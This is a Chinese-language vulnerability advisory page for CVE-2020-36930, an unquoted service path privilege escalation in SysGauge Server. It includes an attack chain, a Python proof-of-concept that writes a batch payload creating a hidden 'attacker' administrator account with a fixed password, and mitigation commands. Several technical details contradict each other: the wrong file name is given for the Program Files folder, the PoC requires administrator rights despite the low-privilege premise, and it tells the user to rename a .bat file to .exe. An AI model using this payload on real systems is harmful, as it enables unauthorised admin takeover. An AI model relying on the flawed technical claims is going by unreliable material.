IPBUF安全漏洞报告
English
CVE-2020-36930 CVSS 7.8 高危

CVE-2020-36930 SysGauge Server未引号服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2020-36930
漏洞类型
未引号服务路径权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SysGauge Server

相关标签

未引号服务路径权限提升本地攻击SysGauge ServerWindows服务CVE-2020-36930高危漏洞Windows提权

漏洞概述

CVE-2020-36930是存在于SysGauge Server 7.9.18版本中的一个高危本地权限提升漏洞。该漏洞的根本原因在于Windows服务配置中的二进制路径未使用引号包裹,导致路径解析存在歧义性问题。当系统尝试启动SysGauge服务时,由于路径中包含空格且未被引号正确引用,Windows服务控制管理器(SCM)会从左到右解析路径,在遇到第一个空格时停止,并将剩余部分视为命令行参数。这种解析机制允许攻击者在合法服务路径之前创建一个同名恶意可执行文件,从而在服务重启或系统启动时以SYSTEM高权限执行恶意代码。本地低权限攻击者可以利用此漏洞将普通用户权限提升至系统级完整权限,进而完全控制受害主机。由于该漏洞属于本地攻击向量,攻击者需要先获得目标系统的低权限访问能力,但一旦利用成功,将造成严重的安全后果,包括但不限于数据窃取、持久化后门部署、横向移动等恶意操作。

技术细节

SysGauge Server在Windows系统中以服务方式运行,其可执行文件路径为'C:\Program Files\SysGauge Server\bin\sysgaus.exe'。该路径中存在两个空格位置('Program Files'和'SysGauge Server'之间,以及'SysGauge Server'和'bin'之间),而服务配置中的ImagePath注册表项未使用引号包裹路径。当Windows服务控制管理器尝试启动该服务时,解析机制如下:首先查找'C:\Program.exe',若不存在则尝试'C:\Program Files\SysGauge.exe',最后才正确解析完整路径。攻击者可利用这一特性,在'C:\Program Files\'目录下放置名为'sysgaus.exe'的恶意程序,或在'C:\Program Files\SysGauge Server\'目录下放置名为'bin.exe'的恶意程序。当服务启动时,Windows会优先执行攻击者放置的恶意文件,以SYSTEM权限运行。由于Windows服务通常配置为自动启动且具有高权限运行特性,这种攻击方式成为权限提升的经典手段。攻击者成功利用后,可获得与SysGauge服务相同级别的系统权限,实现完全的主机控制。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的低权限访问权限,如通过钓鱼邮件、漏洞利用或物理接触等方式获取普通用户shell
STEP 2
步骤2
攻击者枚举系统服务,发现SysGauge Server服务存在且可执行文件路径为'C:\Program Files\SysGauge Server\bin\sysgaus.exe',路径中包含空格且未被引号包裹
STEP 3
步骤3
攻击者在'C:\Program Files\SysGauge Server\'目录下创建名为'bin.exe'的恶意可执行文件,该文件伪装成SysGauge服务的合法组件
STEP 4
步骤4
攻击者等待或触发SysGauge Server服务重启(如系统重启、服务更新或管理员手动重启服务)
STEP 5
步骤5
Windows服务控制管理器在启动服务时,由于路径未加引号且存在空格,错误地执行了攻击者放置的'bin.exe'恶意文件
STEP 6
步骤6
恶意代码以SYSTEM高权限身份执行,攻击者成功创建新管理员账户或注入后门,实现本地权限提升和持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36930 SysGauge Server Unquoted Service Path PoC # This PoC demonstrates the unquoted service path vulnerability # Usage: Run with local administrator privileges import os import sys import subprocess import shutil def check_vulnerability(): """Check if SysGauge Server is installed and vulnerable""" paths_to_check = [ r'C:\Program Files\SysGauge Server\bin\sysgaus.exe', r'C:\Program Files\SysGauge Server\bin\sysgauges.exe' ] for path in paths_to_check: if os.path.exists(path): print(f'[+] SysGauge executable found: {path}') return True return False def create_malicious_executable(): """Create a malicious executable to be placed in unquoted path""" malicious_path = r'C:\Program Files\SysGauge Server\bin.exe' # Create a simple reverse shell payload # In real attack, this would be actual malicious code print(f'[*] Creating malicious executable at: {malicious_path}') print('[*] Payload: Creates a new admin user and adds to Administrators group') # For demonstration, create a benign script that shows the vulnerability malicious_code = ''' @echo off echo [+] Malicious executable executed via unquoted path! >> C:\\temp\\poc_log.txt net user attacker P@ssw0rd123! /add >> C:\\temp\\poc_log.txt 2>&1 net localgroup Administrators attacker /add >> C:\\temp\\poc_log.txt 2>&1 echo [+] Privilege escalation successful >> C:\\temp\\poc_log.txt ''' os.makedirs(r'C:\temp', exist_ok=True) with open(malicious_path.replace('.exe', '.bat'), 'w') as f: f.write(malicious_code) print(f'[+] Malicious script created: {malicious_path.replace(".exe", ".bat")}') return malicious_path def exploit(): """Execute the exploit""" print('[*] CVE-2020-36930 Exploit - SysGauge Server Unquoted Service Path') print('[*] Target: SysGauge Server <= 7.9.18') print('=' * 60) if not check_vulnerability(): print('[-] SysGauge Server not found or not installed') return False print('[+] Target is potentially vulnerable') malicious_path = create_malicious_executable() print('[+] To complete exploitation:') print(f' 1. Rename {malicious_path.replace(".exe", ".bat")} to bin.exe') print(' 2. Wait for SysGauge service restart or system reboot') print(' 3. Check C:\\temp\\poc_log.txt for results') print('[*] Note: Requires service restart to trigger the malicious executable') return True if __name__ == '__main__': exploit()

影响范围

SysGauge Server <= 7.9.18

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:1)使用icacls命令设置目录权限'icacls "C:\Program Files\SysGauge Server" /inheritance:r /grant "NT AUTHORITY\SYSTEM:(OI)(CI)F" "BUILTIN\Administrators:(OI)(CI)F"',移除普通用户的写入权限;2)手动修改注册表HKLM\SYSTEM\CurrentControlSet\Services\SysGauge下的ImagePath值为带引号的完整路径;3)使用Sysinternals Autoruns工具监控服务启动的可执行文件,确保加载的是合法程序;4)如果业务不需要该服务,建议暂时停止并禁用SysGauge Server服务以消除攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表